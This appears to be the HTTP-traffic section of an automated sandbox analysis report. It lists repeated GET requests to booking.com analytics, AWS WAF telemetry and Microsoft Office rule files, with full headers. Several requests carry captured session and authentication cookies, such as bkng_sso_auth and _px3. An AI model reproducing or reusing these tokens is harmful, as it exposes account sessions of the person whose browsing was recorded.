Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413134322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=39333924266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d30433a333425324337373127304b303535333b253746253a432d37402d3a326d6d2d303a273241373433253241353634273a413235373a382737442d324b27374a2d3232742d303a273241253032444954253231273a314449542d323127323a253a41303d3d3333253d462d30432735402532326f6d2530302d3043363b3f253041353e322d30413a3d3533332d374c2732412537422532306d6d27303a273243343b382730433d353027304b3a3535343c273d462530432735422530326d6f273a302532413d383727324b353d37273a4b3235353e332d37442732412535422732326f6f2d303225304b353135253a433d37302d3a4332353d353d2735462530432535402532306f65273232273a43363b342d324b3736312d3243323d373133253744273243253742253030656f2532302d324136353d253a41373c3f2532433a373d3b3627354625324327354227303a6f6d25303a253041343a302d30413d3c3525324b303d343034253744253241253540273a306d6d273a322730433b383127304b3d3433253a413a373630322735442530432537402d303274273a322730432d323a464b5e2d3233253a314c4b5627323125323227324330373e303825374c253041253d422d303065652532322d304b313632253043353433253241303d343238273d442730432d354a27303a656d25323a273a413331352732433531392530413a3736333a2d354627324b253d40273a3a6d6d253a302d304331313025324337333827304b303536373c253746253a432d37402d3a326d6d2d303a273241323b31253241353334273a413235343d392737442d324b27374a2d32326d65273a302530433037332530433531372d304332373e363b27354c253a41273d4a253232656f2d303227324132353627324337313c273243303d363a37253d442d30412d3d4225323a6f65273230253043323433253241373b312532413a35343b302d354c27304b2d3542253a30656f2530322732433230372530413d313225304b3237353038253d46273a4b2535422d303a6f6d27323025324330313527304b373332273a4330373739352d37462d3a4325354a273a306d6f253032253241323036273a413533332d324130353f323a27374c2d3243253d402d30326f6d273232253043313b362d3043353138253041323d373b30273d4c2532432d374a2732306d6f253232273243333a3d273243373b302730433a353f36342d3d4425354c246a6a73615f6b6e64657a3d313b HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b41313b322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=3131333b262668636b3f3126606073613f253d422d37402d3a326d6d2d303a27324131353725324135323b273a413235353d332737442d324b27374a2d32326d65273a3025304333373025304335303b2d304332373f363127354c253a41273d4a253232656f2d3032273241313634273243373030273243303d37353a253d442d30412d3d4225323a6f6527323025304331353a253241373a3a2532413a35353a342d354c27304b2d3542253a30656f2530322732433137332530413d303725304b323735393c253d46273a4b2535422d303a6f6d27323025324333343827304b373237273a4330373838392d37462d3a4325354a273a306d6f253032253241313436273a413532342d3241303530313d27374c2d3243253d402d30326f6d2732322530433136322d304335303e253041323d383a37273d4c2532432d374a2732306d6f25323227324333313f273243373a352730433a353031302d3d4425324b273d402530326f6d253230253241333b312532413d323727324b323d3a363a2d3544253a412d37422732306d6d25303225304139313125304b353036253a433a373a3d3e2535442d304b2735402530326d6d27323227304b333238273a433730342d324b3037303f3225354c273a412537422732326d6f253230273a413132342d324137323c253a41303d303738253d462d30432735402532326f6d2530302d304331303c253041353a342d30413a3d3838382d374c2732412537422532306d6d27303a273243333a322730433d323c27304b3a3539303b273d462530432735422530326d6f273a3025324139323227324b353a36273a4b323539393b2d37442732412535422732326f6f2d303225304b31333b253a433d30362d3a43323531303c2735462530432535402532306f65273232273a433333382d324b37303c2d3243323d3b3b34253744273243253742253030656f2532302d324133313e253a41373a3c2532433a3731373027354625324327354227303a6f6d25303a2530413139352d30413d3a3425324b303d3b3630253744253241253540273a306d6d273a3227304339313c27304b3d3234253a413a373935322735442530432537402d30326d6f2d323027324b313931273a4b3532342d304b30353b383025354427324327374a2732326f65253030253a433933302d3a4335323c273a413237393b38253546253241273d40253230656d2730322d324b3333392d3243353a362d304330363231332537442530412d374225303a6d6f27323a253a413339382532433d303c273241323430323927354427304b273542273a326f6f253a322d304139383925324b373a362530433036303437253546273a412535402d32306f6d2d323a27304b393038253a413d303427324132363037392537462d304325374a2530306d65253a30273a4b3130372d304b373236253043323632383127374c273243273d42273032656d2d30302d3a4331303e273a413530342732433234303930273d462532412d354027323a6d6527303a2d32433138372d304337323625324330363133312d374425374c26606a736b5f616c666d703d3230 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-En
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413632392d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31313830262668636b3f3126606073613f253d422d37402d3a3274253a302d304327323044495627323327303b464956273a332730322d324b30343e3c3525354c273a412537422732326d6f253230273a413135342d324136363a253a41303e3e3435253d462d30432735402532326f6d2530302d304332323b2530413438362d30413a3e3635362d374c2732412537422532306d6d27303a273243303c342730433b353e27304b3a36363631273d462530432735422530326d6f273a302532413a383027324b333933273a4b32363630362d374427324125354227323276273a302532412d3230766570742d3031646767696e666365672530334649562530332530302d304332343e393327354c253a41273d4a253232656f2d3032273241333136273243303538273243303e363b33253d442d30412d3d4225323a6f65273230253043333434253241303b362532413a363532312d354c27304b2d3542253a307c2732302530432532305350434c2d303325303b5352434e2d323b27303a2d3243323e353934253744273243253742253030656f2532302d324131373c253a413038392532433a343f333627354625324327354227303a762532302d324127323a483927303b6d3963383e326c312d363235382d343466622f603037632d6431353b633831633e67316e2d32334441542d303327323025324330363730332d374425304b253740253a32656f273a3a2532433b3b302732413135312532413236353039273544273a432737422d323a6f6f2d3a3225324b363a332530433334352530433234353b332535462d324127354a253a30762d3a3225324b273a30444b56273233253033444b542d303325303a253041323e373c3a273d4c2532432d374a2732306d6f253232273243363639273243333a312730433a363f363a2d3d4425324b273d402530327625323227324327303a464956273a332730334c495e27303b2d3232253a413a343737332735442530432537402d30326d6f2d323027324b343d3b273a4b3939253a413a343737332735442530432537402d30326d6f2d323027324b343f37273a4b3830253a413a343734332735442530432537402d303274273a322730432d323a4c435e2d3233253a3140474146455025323327323227304b3036373530253746253a432d37402d3a326d6d2d303a273241343a39253241363227304b3036373530253746253a432d37402d3a3274253a302d3043273230412532312532315158434e25303b253030253a433a3435303b2535442d304b2735402530326d6d27323227304b373032273a433634253a433a3435303b2535442d304b2735402530326d6d27323227304b373134273a433130253a433a3435313c2535442d304b273540253032742530322530412d3032444b5e253031253a334643542d3a3325323a273a413234383330253546253241273d40253230656d2730322d324b37303d2d32433131273a413234383330253546253241273d402532307c253030253a432d303046495625323b273a314847414645522530332530302d3043323430323727354c253a41273d4a253232656f2d30322732413533342732433a273a4132363a3a352737442d354c2460607b635f6966666d7a3d3031 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-M
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413630312d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; 